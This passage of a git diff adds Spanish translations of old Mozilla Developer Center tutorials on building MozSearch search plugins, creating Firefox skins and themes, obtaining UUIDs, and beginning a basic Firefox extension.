+<p>Copyright (c) 2003 by Doug Turner and Ian Oeschger. This material may be distributed only subject to the terms and conditions set forth in the <a class="external" href="http://www.opencontent.org/openpub/" rel="noopener">Open Publication License</a>, v1.02 or later. Distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. Distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder.</p>
+</div><p></p>
+
+<div class="noinclude"> </div>
+
+<p></p>
diff --git a/files/es/creación_de_plugins_mozsearch/index.html b/files/es/creación_de_plugins_mozsearch/index.html
new file mode 100644
index 0000000000..3cb56bd3d9
--- /dev/null
+++ b/files/es/creación_de_plugins_mozsearch/index.html
@@ -0,0 +1,146 @@
+---
+title: Creación de plugins MozSearch
+slug: Creación_de_plugins_MozSearch
+tags:
+  - Plugins_de_búsqueda
+translation_of: Mozilla/Creating_MozSearch_plugins
+---
+<p>Firefox 2 admite MozSearch, una forma simplificada del formato OpenSearch de Amazon A9 para crear plugins de búsqueda. Los plugins OpenSearch también son admitidos; visite la web de <a class="external" href="http://opensearch.a9.com/">OpenSearch</a> para más detalles.
+</p><p>UN plugin de búsqueda MozSearch es un archivo XML que describe el motor de búsqueda, su URL, y los parámetros que se necesitan pasar a esa URL.
+</p>
+<div class="note"><b>Nota:</b> Tenga en cuenta que MozSearch es específico para Firefox; si desea escribir plugins que sean compatibles con otros navegadores, deberá usar el sistema estándar de OpenSearch. Afortunadamente, los dos formatos son muy parecidos y es fácil cambiar de uno a otro dependiendo de tus necesidades.</div>
+<h2 id="El_archivo_del_plugin" name="El_archivo_del_plugin">El archivo del plugin</h2>
+<p>El archivo XML que describe el motor de búsqueda es realmente sencillo siguiendo la plantilla básica de abajo. Las secciones en cursiva necesitan ser personalizadas dependiendo de las necesidades del motor de búsqueda del plugin que estés escribiendo.
+</p>
+<pre class="eval">&lt;SearchPlugin xmlns="<span class="nowiki">http://www.mozilla.org/2006/browser/search/</span>"&gt;
+&lt;ShortName&gt;<i>NombreDelMotor</i>&lt;/ShortName&gt;
+&lt;Description&gt;<i>Descripcion</i>&lt;/Description&gt;
+&lt;InputEncoding&gt;<i>CodificacionDeEntrada</i>&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,<i>DatosDeLaImagen</i>&lt;/Image&gt;
+&lt;Url type="text/html" method="<i>metodo</i>" template="<i>URLdeLaBusqueda</i>"&gt;
+  &lt;Param name="<i>parametro1</i>" value="<i>parametro1</i>"/&gt;
+  ...
+  &lt;Param name="<i>parametroN</i>" value="<i>parametroN</i>"/&gt;
+&lt;/Url&gt;
+&lt;Url type="application/x-suggestions+json" template="<i>URLdeSugerencias</i>"/&gt;
+&lt;SearchForm&gt;<i>URLdelFormularioDeBusqueda</i>&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+<dl><dt> <b>ShortName</b>
+</dt><dd> Un nombre breve para el motor de búsqueda.
+</dd></dl>
+<dl><dt> <b>Description</b>
+</dt><dd> Una pequeña descripción del motor de búsqueda.
+</dd></dl>
+<dl><dt> <b>InputEncoding</b>
+</dt><dd> La codificación a usar para los datos de entrada al motor de búsqueda.
+</dd></dl>
+<dl><dt> <b>Image</b>
+</dt><dd> Icono codificado en Base-64 de 16x16 que represente el motor de búsqueda. Una herramienta útil que puedes usar para construir estos la puedes encontrar aquí: <a class="external" href="http://software.hixie.ch/utilities/cgi/data/data">The data: URI kitchen</a>.
+</dd></dl>
+<dl><dt> <b>Url</b>
+</dt><dd> Describe la URL o URLs a usar en la búsqueda. El atributo <code>method</code> indica si se usará una petición <code>GET</code> o <code>POST</code> para devolver el resultado. El atributo <code>template</code> indica la URL base para la consulta.
+</dd></dl>
+<dl><dd> Hay dos tipos de URL que puedes especificar:
+</dd></dl>
+<ul><li> <code>type="text/html"</code> se usa para especificar la URL de la consulta actual en si misma.
+</li><li> <code>type="application/x-suggestions+json"</code> se usa para especificar la URL a usar por las sugerencias de búsqueda.
+</li></ul>
+<dl><dd> Para ambos tipos de URL, puedes usar <code>{searchTerms}</code> para sustituir los términos introducidos por el usuario en la barra de búsqueda.
+</dd></dl>
+<dl><dd> Para la consulta de sugerencias de búsqueda, la plantilla de la URL especificada se usa para devolver una lista de sugerencias en formato JavaScript Object Notation (JSON) format. Para más detalles de como implementar soporte para sugerencias de búsqueda en un servidor, lea <a href="es/Permitir_sugerencias_en_los_plugins_de_b%c3%basqueda">Permitir sugerencias en los plugins de búsqueda</a>.
+</dd></dl>
+<p><img alt="Imagen:SearchSuggestionSample.png">
+</p>
+<dl><dt> <b>Param</b>
+</dt><dd> Los parámetros que necesitan ser enviados por la búsqueda, como parejas clave/valor. Cuando se especifican valores, puedes usar <code>{searchTerms}</code> para insertar los términos introducidos por el usuario en la barra de búsqueda.
+</dd></dl>
+<dl><dt> <b>SearchForm</b>
+</dt><dd> La URL a la que ir para abrir la pagina de búsqueda en el sitio para el que el plugin fue diseñado. Esto da a Firefox una vía que permite que el usuario visite la web directamente.
+</dd></dl>
+<h2 id="Autodetecci.C3.B3n_de_plugins_de_b.C3.BAsqueda" name="Autodetecci.C3.B3n_de_plugins_de_b.C3.BAsqueda">Autodetección de plugins de búsqueda</h2>
+<p>Una web que ofrezca un plugin de búsqueda pueden anunciarlo para que los usuarios de Firefox puedan descargar e instalar fácilmente el plugin.
+</p><p>Para permitir la autodetección, simplemente debes añadir una línea a la sección <code>&lt;HEAD&gt;</code> de tu web:
+</p>
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="<i>TituloDeLaBusqueda</i>" href="<i>URLdelPlugin</i>"&gt;
+</pre>
+<p>Remplaza los puntos en cursiva como se explica aquí:
+</p>
+<dl><dt> <b>TituloDeLaBusqueda</b>
+</dt><dd> El nombre de la búsqueda a realizar, como "Buscar en MDC" o "Búsqueda Yahoo!".
+</dd></dl>
+<dl><dt> <b>URLdelPlugin</b>
+</dt><dd> La URL a el XML del plugin de búsqueda, desde el que el navegador puede descargarlo.
+</dd></dl>
+<p>Si tu sitio ofrece varios plugins de búsqueda, puedes habilitar la autodetección de todos. Por ejemplos:
+</p>
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="Miweb: Buscar por autor" href="<a class=" external" href="http://www.mysite.com/mysiteauthor.xml" rel="freelink">http://www.mysite.com/mysiteauthor.xml</a>"&gt;
+&lt;link rel="search" type="application/opensearchdescription+xml" title="Miweb: Buscar por título" href="<a class=" external" href="http://www.mysite.com/mysitetitle.xml" rel="freelink">http://www.mysite.com/mysitetitle.xml</a>"&gt;
+</pre>
+<p>De esta forma, tu sitio puede ofrecer plugins tanto para buscar por autor como por titulo de forma separada.
+</p>
+<h2 id="Ejemplo:_buscando_en_Yahoo.21" name="Ejemplo:_buscando_en_Yahoo.21">Ejemplo: buscando en Yahoo!</h2>
+<p>El siguiente XML es el plugin de búsqueda de Firefox 2 para Yahoo! en inglés:
+</p>
+<pre>&lt;SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"&gt;
+&lt;ShortName&gt;Yahoo&lt;/ShortName&gt;
+&lt;Description&gt;Yahoo Search&lt;/Description&gt;
+&lt;InputEncoding&gt;UTF-8&lt;/InputEncoding&gt;
+&lt;SuggestionUrl&gt;http://ff.search.yahoo.com/gossip?output=fxjson&amp;command=&lt;/SuggestionUrl&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,R0lGODlhEAAQAJECAP8AAAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAAAIplI+py+0NogQuyBDEnEd2kHkfFWUamEzmpZSfmaIHPHrRguUm/fT+UwAAOw==&lt;/Image&gt;
+&lt;Url type="text/html" method="GET" template="http://search.yahoo.com/search"&gt;
+  &lt;Param name="p" value="{searchTerms}"/&gt;
+  &lt;Param name="ei" value="UTF-8"/&gt;
+  &lt;Param name="fr" value="moz2"/&gt;
+&lt;/Url&gt;
+&lt;SearchForm&gt;http://search.yahoo.com/&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+<p>Pongamos que el usuario elige usar el plugin de búsqueda de Yahoo! e introduce "mozilla" en la barra de búsqueda y pulsa la tecla enter. Firefox usará el motor de búsqueda anterior para construir la siguiente URL:
+</p>
+<pre class="eval"><span class="nowiki">http://search.yahoo.com/search?p=mozilla&amp;ei=UTF-8&amp;fr=moz2</span>
+</pre>
+<p>Si el usuario pulsa sobre el icono de la lupa en la barra de búsqueda, o elige la opción Búsqueda web en el menú Herramientas cuando la barra de búsqueda no está visible, el navegador le enviará a &lt;tt&gt;<span class="nowiki">http://search.yahoo.com/</span>&lt;/tt&gt;, el valor del elemento <code>&lt;SearchForm&gt;</code>.
+</p>
+<h2 id="Ejemplo:_buscando_en_el_MDC" name="Ejemplo:_buscando_en_el_MDC">Ejemplo: buscando en el MDC</h2>
+<p>Este plugin te permitirá buscar fácilmente en la web del Mozilla Developer Center.
+</p>
+<pre>&lt;SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/"&gt;
+&lt;ShortName&gt;MDC&lt;/ShortName&gt;
+&lt;Description&gt;Mozilla Developer Center search&lt;/Description&gt;
+&lt;InputEncoding&gt;UTF-8&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8%2F9hAAAABGdBTUEAAK%2FINwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAHWSURBVHjaYvz%2F%2Fz8DJQAggJiQOe%2Ffv2fv7Oz8rays%2FN%2BVkfG%2FiYnJfyD%2F1%2BrVq7ffu3dPFpsBAAHEAHIBCJ85c8bN2Nj4vwsDw%2F8zQLwKiO8CcRoQu0DxqlWrdsHUwzBAAIGJmTNnPgYa9j8UqhFElwPxf2MIDeIrKSn9FwSJoRkAEEAM0DD4DzMAyPi%2FG%2BQKY4hh5WAXGf8PDQ0FGwJ22d27CjADAAIIrLmjo%2BMXA9R2kAHvGBA2wwx6B8W7od6CeQcggKCmCEL8bgwxYCbUIGTDVkHDBia%2BCuotgACCueD3TDQN75D4xmAvCoK9ARMHBzAw0AECiBHkAlC0Mdy7x9ABNA3obAZXIAa6iKEcGlMVQHwWyjYuL2d4v2cPg8vZswx7gHyAAAK7AOif7SAbOqCmn4Ha3AHFsIDtgPq%2FvLz8P4MSkJ2W9h8ggBjevXvHDo4FQUQg%2FkdypqCg4H8lUIACnQ%2FSOBMYI8bAsAJFPcj1AAEEjwVQqLpAbXmH5BJjqI0gi9DTAAgDBBCcAVLkgmQ7yKCZxpCQxqUZhAECCJ4XgMl493ug21ZD%2BaDAXH0WLM4A9MZPXJkJIIAwTAR5pQMalaCABQUULttBGCCAGCnNzgABBgAMJ5THwGvJLAAAAABJRU5ErkJggg%3D%3D&lt;/Image&gt;
+&lt;Url type="text/html" method="GET" template="http://developer.mozilla.org/en/docs/Special:Search?search={searchTerms}"/&gt;
+&lt;SearchForm&gt;http://developer.mozilla.org/en/docs/Special:Search&lt;/SearchForm&gt;
+&lt;/SearchPlugin&gt;
+</pre>
+<p>Date cuenta que en este caso en vez de usar <code>&lt;Param&gt;</code> para definir los parámetros del motor de búsqueda, simplemente se incrustó dentro de la URL de la plantilla. Es la forma recomendada de hacerlo cuando usamos como metodo <code>GET</code>. <code>&lt;Param&gt;</code> se usaría para <code>POST</code>.
+</p><p><br>
+</p>
+<h2 id="Consejos_ante_cualquier_problema" name="Consejos_ante_cualquier_problema">Consejos ante cualquier problema</h2>
+<p>Si hay alguna errata en el XML del plugin de búsqueda, puede que te encuentres con errores al añadir un plugin en Firefox (Bon Echo) Alpha 3. Los mensajes de error quizás no te ayuden completamente, sin embargo, los consejos siguientes pueden ayudarte a encontrar el problema.
+</p>
+<ul><li>Asegurate que el XML del plugin de búsqueda esta bien formado. Puedes comprobarlo cargando directamente el archivo en Firefox. Los ampersands (&amp;) en la URL de la plantilla deben ser escritos como &amp;amp; y las etiquetas deben ser cerradas con una barra oblicua (/) o con su etiqueta de cerrado.
+</li><li>El atributo <code>xmlns</code> es importante, sin él puede que te encuentres con un mensaje de error indicándote que "Bon Echo no puede descargar el plugin desde (URL)"
+</li></ul>
+<p>Además, el servicio de plugin de búsqueda proporciona un mecanismo de registros que puede ser usado por los desarrolladores del mismo. Usa <i>about:config</i> para fijar la preferencia '<code>browser.search.log</code>' a <code>true</code>. La información aparecerá en la <a href="es/Consola_JavaScript">Consola de error</a> de Firefox (Herramientas-&gt;Consola de error) cuando se añada el plugin de búsqueda.
+</p>
+<h2 id="OpenSearch" name="OpenSearch">OpenSearch</h2>
+<p><a href="es/Firefox_2">Firefox 2</a> también admite el formato <a class="external" href="http://opensearch.a9.com/">OpenSearch</a> de Amazon A9 para compartir resultados de búsqueda. Si escribes un plugin XML usando la <a class="external" href="http://opensearch.a9.com/spec/1.1/description/">Sintaxis OpenSearch</a>, puedes meterlo en el directorio &lt;tt&gt;searchengines&lt;/tt&gt; dentro del <a class="external" href="http://www.mozilla.org/support/firefox/profile">perfil de usuario</a>, en el directorio de la aplicación, o en el <a href="es/Bundles">paquete de instalación</a> para añadir soporte a dicho motor de búsqueda.
+</p><p>El formato OpenSearch es similar al formato SearchPlugin de Mozilla. La principal diferencia es el elemento inicial y los espacios de los nombres del XML.
+</p>
+<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"&gt;
+...
+&lt;/OpenSearchDescription&gt;
+</pre>
+<h2 id="Material_de_referencia" name="Material_de_referencia">Material de referencia</h2>
+<ul><li>A9.com <a class="external" href="http://opensearch.a9.com/">Documentación OpenSearch (en)</a>
+</li><li>Technorati.com tiene un <a class="external" href="http://technorati.com/osd.xml">osd.xml funcional</a>
+</li><li>Dificultades en la autodetección en bugzilla {{ Bug(340208) }}
+</li><li><a class="external" href="http://es.wikipedia.org/wiki/Data:_URL">Esquema &lt;tt&gt;data:&lt;/tt&gt; URI</a>
+</li><li><a class="external" href="http://www.searchplugins.net">searchplugins.net</a> - crea plugins OpenSearch para su uso con Firefox 2. <a class="external" href="http://www.searchplugins.net/pluginlist.aspx">Lista de plugins generados</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "ca": "ca/Creaci\u00f3_de_connectors_MozSearch", "en": "en/Creating_MozSearch_plugins", "fr": "fr/Cr\u00e9ation_de_plugins_MozSearch", "it": "it/Creare_Plugin_MozSearch", "ja": "ja/Creating_MozSearch_plugins", "pl": "pl/Tworzenie_wtyczek_MozSearch", "zh-tw": "zh_tw/\u88fd\u4f5c_MozSearch_\u641c\u5c0b\u6a21\u7d44" } ) }}
diff --git a/files/es/creando_un_skin_para_firefox/como_empezar/index.html b/files/es/creando_un_skin_para_firefox/como_empezar/index.html
new file mode 100644
index 0000000000..d4ef1f553f
--- /dev/null
+++ b/files/es/creando_un_skin_para_firefox/como_empezar/index.html
@@ -0,0 +1,108 @@
+---
+title: Como empezar
+slug: Creando_un_skin_para_Firefox/Como_empezar
+tags:
+  - Complementos
+  - Temas
+  - Todas_las_Categorías
+translation_of: Archive/Mozilla/Creating_a_sking_for_Firefox_Getting_Started
+---
+<p>
+</p>
+<h3 id="Setup" name="Setup"> Setup </h3>
+<p>Descargue la última versión de Firefox e instalela. Asegúrese de instalar también el módulo DOM Inspector.
+</p>
+<h4 id="Extraer_el_tema" name="Extraer_el_tema"> Extraer el tema </h4>
+<p>Aunque en teoría puede comenzar con cualquier tema diseñado para Firefox, por motivos de consistencia, vamos a editar Winstripe, el tema por defecto de Firefox. Se encuentra ubicado en el archivo "classic.jar" dentro del directorio de instalación de Firefox. Un archivo .jar es en realidad un archivo zip renombrado que puede abrir con su programa de compresión favorito de la misma forma que abre un archivo zip. Sin embargo, si su aplicación cree que no es el formato correcto, puede simplemente renombrar el archivo a "classic.zip" y continuar la extracción.
+</p>
+<h5 id="Ubicaciones_del_archivo_Classic.jar" name="Ubicaciones_del_archivo_Classic.jar"> Ubicaciones del archivo Classic.jar </h5>
+<p>Linux: /usr/lib/MozillaFirefox/chrome/classic.jar
+</p><p>Windows: \Program Files\Mozilla Firefox\chrome\classic.jar
+</p><p>Mac OS X:
+</p>
+<ul>
+<li>Vaya a la carpeta de su aplicación</li> <li>Haga control click sobre el icono de la aplicación (el icono de Firefox), y seleccione Mostrar el contenido del paquete.</li> <li>Vaya a contents/MacOS/Chrome/classic.jar </li>
+</ul>
+<p>Copie el archivo classic.jar a una carpeta de fácil acceso ("Clasic" es una ubicación recomendable). Ahora extraiga el contenido a esta carpeta, manteniendo la estructura de directorios.
+</p>
+<h4 id="Directorios" name="Directorios"> Directorios </h4>
+<p>Dentro del archivo classic.jar encontrará un directorio, <b>skin</b>, así como dos archivos preview.png e icon.png.
+</p>
+<dl><dt>skin </dt><dd>Skin simplemente contiene otro directorio, classic.
+</dd></dl>
+<ul><li><dl><dt>classic </dt><dd> Classic contiene los siguientes directorios.
+</dd></dl>
+<ul><li><dl><dt>browser </dt><dd> Browser contiene todos los iconos de la barra de herramientas, así como los iconos del administrador de marcadores y la ventana de preferencias.
+</dd><dt>global </dt><dd> Global contiene casi todos los archivos CSS importantes que definen la apariencia del explorador. Este es el directorio más importante en un tema.
+</dd><dt>mozapps </dt><dd> Mozapps contiene todos los estilos e iconos para los accesorios del explorador, como el administrador de extensiones y el asistente de actualización.
+</dd><dt>help </dt><dd> Help contiene todos los archivos para la ventana de ayuda.
+</dd><dt>communicator </dt><dd> Doesn't do a whole lot and can typically be forgotten about promptly.
+</dd></dl>
+</li></ul>
+</li></ul>
+<h4 id="Instalar_el_nuevo_tema" name="Instalar_el_nuevo_tema"> Instalar el nuevo tema </h4>
+<p>Antes de que uno pueda ver los cambios que hace a un tema de Firefox (las ediciones sin reiniciar son difíciles de configurar), debe aprender como empaquetar el tema classic para hacerlo instalable. Para el propósito de esta discusión le llamaremos a su tema "My_Theme",aunque puede reemplazarlo con cualquier otro nombre.
+</p>
+<h5 id="Copiando_los_archivos_necesarios" name="Copiando_los_archivos_necesarios"> Copiando los archivos necesarios </h5>
+<p>El primer paso es mover los archivos a su directorio correspondiente. Cree un nuevo directorio llamado My_Theme. En este directorio cree los directorios browser, global, communicator, help, y mozapps así como los archivos icon.png y preview.png.
+</p>
+<h5 id="Creando_los_archivos_de_instalaci.C3.B3n" name="Creando_los_archivos_de_instalaci.C3.B3n"> Creando los archivos de instalación </h5>
+<h6 id="Contents.rdf" name="Contents.rdf"> Contents.rdf </h6>
+<p>Haga una copia de <a href="es/Creating_a_Skin_for_Firefox/contents.rdf">contents.rdf</a>,colóquelo en <code>\My_Theme</code> y ábralo en su editor de texto. Este archivo es una pequeña base de datos en formato XML que se utiliza para describir el skin.
+</p><p>En el código busque todas las coincidencias de My_Theme y reemplácelas con el nombre de su tema.
+</p><p>La sección packages lista que componentes del explorador está modificando. Si también tenemos skins para Chatzilla, debemos añadir otra línea similar a las anteriores y modificarla para que apunte a Chatzilla. Esta lista incluye todo lo que hemos cambiado, así que simplemente modifique el texto azul para que apunte al nombre/versión que ha utilizado en las secciones anteriores a esta.
+</p><p><br>
+</p>
+<pre class="eval">&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:communicator"/&gt;
+&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:editor"/&gt;
+&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:global"/&gt;
+&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:messenger"/&gt;
+&lt;RDF:li resource="urn:mozilla:skin:<span style="color: #00D; font-weight: bold;">My_Theme</span>:navigator"/&gt;
+</pre>
+<p>Guarde el archivo y salga de su editor de texto.
+</p>
+<h6 id="install.rdf" name="install.rdf"> install.rdf </h6>
+<p>Haga una copia de <a href="es/Creando_un_skin_para_Firefox/install.rdf">install.rdf</a>, colóquelo en <code>\My_Theme</code> y ábralo con su editor de texto favorito. Este archivo es una pequeña base de datos en formato XML que se utiliza para describir el skin.
+</p>
+<pre>  &lt;Description about="urn:mozilla:install-manifest"&gt;
+  &lt;em:id&gt;{Themes_UUID}&lt;/em:id&gt;
+  &lt;em:version&gt;Themes_Version&lt;/em:version&gt;
+</pre>
+<p>La primera sección requiere a) Buscar un <a href="es/Creando_un_skin_para_Firefox/UUID"> UUID</a> para el skin y b) Darle un número de versión al tema. Una vez hecho esto, inserte la información como se muestra en el recuadro anterior y desplácese hacia abajo en el texto.
+</p>
+<h4 id="Archivos_CSS" name="Archivos_CSS"> Archivos CSS </h4>
+<p>Los archivos CSS que se encuentran en estos directorios le indican al navegador como visualizar los botones y otros controles, donde poner las imágenes, que borde y que relleno debería colocar alrededor de ellos, etc. Para la siguiente parte, vamos a modificar el botón estándar.
+</p><p>Entre en <code>\global\</code> y abra <code>button.css</code> en su editor de texto favorito. Desplácese hacia abajo hasta <code>button {</code>. Esta sección define el botón normal y su estado básico (Sin el puntero del ratón sobre él, sin estar deshabilitado y sin estar seleccionado).
+</p><p>Cambie <code>background-color:</code> a <code>DarkBlue</code> y el <code>color:</code> a <code>White</code>, y guarde el archivo.
+</p>
+<h4 id="Empaquetando_el_archivo_JAR" name="Empaquetando_el_archivo_JAR"> Empaquetando el archivo JAR </h4>
+<p>Ahora todo lo que necesita hacer es empaquetar el archivo JAR utilizando su gestor de archivos con la siguiente estructura de directorios:
+</p>
+<dl><dt>browser
+</dt><dt>communicator
+</dt><dt>global
+</dt><dt>help
+</dt><dt>mozapps
+</dt></dl>
+<p>contents.rdf
+install.rdf
+icon.png
+preview.png
+</p>
+<h4 id="Ejecutar_la_instalaci.C3.B3n_desde_la_Web" name="Ejecutar_la_instalaci.C3.B3n_desde_la_Web"> Ejecutar la instalación desde la Web </h4>
+<p>Para instalar su archivo jar directamente desde la Web, necesita ejecutar algo de código Javascript.
+</p>
+<pre class="eval">&lt;a href='javascript:InstallTrigger.installChrome(InstallTrigger.SKIN,
+ "<span style="color: #00D; font-weight: bold;">myskin.jar</span>", "<span style="color: #00D; font-weight: bold;">My Skin Theme</span>")'&gt;install My Skin&lt;/a&gt;
+</pre>
+<p><br>
+Si tiene los archivos jar en su disco duro y quiere instalarlos, entonces descargue o utilice <a class="external" href="http://www.eightlines.com/neil/mozskin/installjar.html">este formulario</a>.
+</p><p>O puede simplemente abrir la ventana de temas en Mozilla y arrastrar y soltar su archivo .jar en ella.
+</p><p><br>
+<span class="comment">categorías</span>
+</p><p><span class="comment">enlaces interwikis</span>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "de": "de/Theme_erstellen/Einf\u00fchrung", "en": "en/Creating_a_Skin_for_Firefox//Getting_Started", "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox//Premiers_pas", "ja": "ja/Creating_a_Skin_for_Firefox/Getting_Started", "pl": "pl/Tworzenie_sk\u00f3rek_dla_Firefoksa/Zaczynamy", "pt": "pt/Criando_um_visual_para_o_Firefox/Iniciando", "zh-tw": "zh_tw/\u88fd\u4f5c_Firefox_\u4f48\u666f\u4e3b\u984c/\u4e0a\u624b\u7bc7" } ) }}
diff --git a/files/es/creando_un_skin_para_firefox/uuid/index.html b/files/es/creando_un_skin_para_firefox/uuid/index.html
new file mode 100644
index 0000000000..bcaaedb1dc
--- /dev/null
+++ b/files/es/creando_un_skin_para_firefox/uuid/index.html
@@ -0,0 +1,16 @@
+---
+title: UUID
+slug: Creando_un_skin_para_Firefox/UUID
+translation_of: Archive/Themes/Creating_a_Skin_for_Firefox/UUID
+---
+<p>
+</p>
+<h3 id="UUID:_Identificador_.C3.BAnico_universal"> UUID: Identificador único universal </h3>
+<p>El UUID (Universal Unique Identifier) se puede obtener visitando <a class=" external" href="http://www.famkruithof.net/uuid/uuidgen">http://www.famkruithof.net/uuid/uuidgen</a> o escribiendo "firebot: uuid?" en irc.mozilla.org.
+</p>
+<h3 id="Vea_tambi.C3.A9n"> Vea también </h3>
+<p><a href="es/Generando_GUIDs">Generando_GUIDs</a>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Creating_a_Skin_for_Firefox/UUID", "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox/UUID", "ja": "ja/Creating_a_Skin_for_Firefox/UUID", "pl": "pl/Tworzenie_sk\u00f3rek_dla_Firefoksa/UUID", "pt": "pt/Criando_um_visual_para_o_Firefox/UUID", "zh-tw": "zh_tw/\u88fd\u4f5c_Firefox_\u4f48\u666f\u4e3b\u984c/UUID" } ) }}
diff --git a/files/es/creando_un_tema_para_firefox/index.html b/files/es/creando_un_tema_para_firefox/index.html
new file mode 100644
index 0000000000..f97da06e15
--- /dev/null
+++ b/files/es/creando_un_tema_para_firefox/index.html
@@ -0,0 +1,36 @@
+---
+title: Creando un tema para Firefox
+slug: Creando_un_tema_para_Firefox
+tags:
+  - Complementos
+  - Temas
+  - Todas_las_Categorías
+translation_of: Archive/Themes/Creating_a_Skin_for_Firefox
+---
+<p> </p>
+<h2 id="Introducci.C3.B3n" name="Introducci.C3.B3n"><strong>Introducción</strong></h2>
+<p>Para crear un skin para Firefox, primero necesitara conocer tres cosas. Como editar imágenes, como extraer archivos comprimidos, y como modificar hojas de estilo CSS. Firefox utiliza los formatos gráficos estándar gif, png y jpg para los botones y las hojas de estilo para embellecer los demás elementos del interfaz de usuario.</p>
+<h3 id="¿Que_es_un_skin"><b>¿Que es un skin?</b></h3>
+<p>Un skin no modifica totalmente el interface, simplemente define como se muestra. No puede cambiar que ocurre cuando el usuario hace clic con el botón derecho del ratón sobre una imagen, pero puede cambiar el aspecto del menú contextual (Haciéndolo azul con puntos rosas, por ejemplo). Si quiere cambiar la funcionalidad de Firefox, tendra que ver más detenidamente la modificación de chrome. Lo cual va más allá del propósito de este documento.</p>
+<h2 id="Contenidos" name="Contenidos"><strong>Contenidos</strong></h2>
+<ul>
+ <li><a href="es/Creando_un_skin_para_Firefox/Como_empezar">Cómo empezar</a></li>
+</ul>
+<hr>
+<div class="originaldocinfo">
+ <h3 id="Informaci.C3.B3n_sobre_el_documento_original" name="Informaci.C3.B3n_sobre_el_documento_original">Información sobre el documento original</h3>
+ <ul>
+  <li>Autor: Neil Marshall</li>
+  <li>Otros contribuidores (Sugerencias/Correcciones): Brent Marshall, CDN (<a class="external" href="http://themes.mozdev.org" rel="freelink">http://themes.mozdev.org</a>), JP Martin, Boris Zbarsky, Asa Dotzler, WeSaySo, David James, Dan Mauch, Anders Conbere</li>
+  <li>Fecha de la ultima modificación: Aug 15th, 2005</li>
+  <li>Información del copyright: Copyright 2002-2003 Neil Marshall, con permiso a MDC migrarlo al wiki Abril 2005 vía email.</li>
+  <li>Ubicación original: <a class="external" href="http://www.eightlines.com/neil/mozskin" rel="freelink">http://www.eightlines.com/neil/mozskin</a></li>
+ </ul>
+</div>
+<p><span class="comment">categorías</span></p>
+<p><span class="comment">enlaces interwikis</span></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "de": "de/Theme_erstellen", "en": "en/Creating_a_Skin_for_Firefox", "fr": "fr/Cr\u00e9er_un_th\u00e8me_pour_Firefox", "ja": "ja/Creating_a_Skin_for_Firefox", "pl": "pl/Tworzenie_sk\u00f3rek_dla_Firefoksa", "zh-tw": "zh_tw/\u88fd\u4f5c_Firefox_\u4f48\u666f\u4e3b\u984c" } ) }}</p>
+<p> </p>
+<p> </p>
diff --git a/files/es/creando_una_extensión/index.html b/files/es/creando_una_extensión/index.html
new file mode 100644
index 0000000000..6a155e7f50
--- /dev/null
+++ b/files/es/creando_una_extensión/index.html
@@ -0,0 +1,236 @@
+---
+title: Creando una extensión
+slug: Creando_una_extensión
+tags:
+  - Complementos
+  - Todas_las_Categorías
+  - extensiones
+---
+<h2 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h2>
+<p>Este tutorial contiene los pasos necesarios para desarrollar una extensión muy básica - la cuál añadirá un texto que diga "¡Hola, mundo!" en el panel de la barra de estado del navegador Firefox</p>
+<div class="note">
+  <p><strong>Nota</strong> Este tutorial sobre el desarrollo de una extensión es para la versión 1.5 de Firefox . Existen otros para versiones anteriores.</p>
+</div>
+<h2 id="Preparando_el_Entorno_de_Desarrollo" name="Preparando_el_Entorno_de_Desarrollo">Preparando el Entorno de Desarrollo</h2>
+<p>Las extensiones se distribuyen en archivos comprimidos en formato ZIP, o en paquetes, con extensión <code>xpi</code> (<em>se pronuncia “zippy”</em>). Los archivos XPI contienen el siguiente código:</p>
+<pre>extension.xpi:
+              /<a href="/es/docs/Install.rdf" title="Install.rdf">install.rdf</a>
+              <a href="#XPCOM_Components">/components/*</a>
+              <a href="#Application_Command_Line">/components/cmdline.js</a>
+              <a href="#Defaults_Files">/defaults/</a>
+              <a href="#Defaults_Files">/defaults/preferences/*.js</a>
+              /plugins/*
+              /<a href="/es/docs/Chrome.manifest" title="Chrome.manifest">chrome.manifest</a>
+              /<a href="/es/docs/Chrome_window_icons" title="Chrome_window_icons">chrome/icons/default/*</a>
+              /chrome/
+              /chrome/content/
+
+</pre>
+<p>Debido a esto, es más fácil presentar nuestros archivos fuente en un modo similar, a menos que decidamos crear alguno del tipo "Makefile" o un script "shell" para comprimirlos todos. Incluso si optamos por este método, es muy sencillo hacer pruebas, gracias al sistema de <em>Addons</em> de Firefox 1.5.</p>
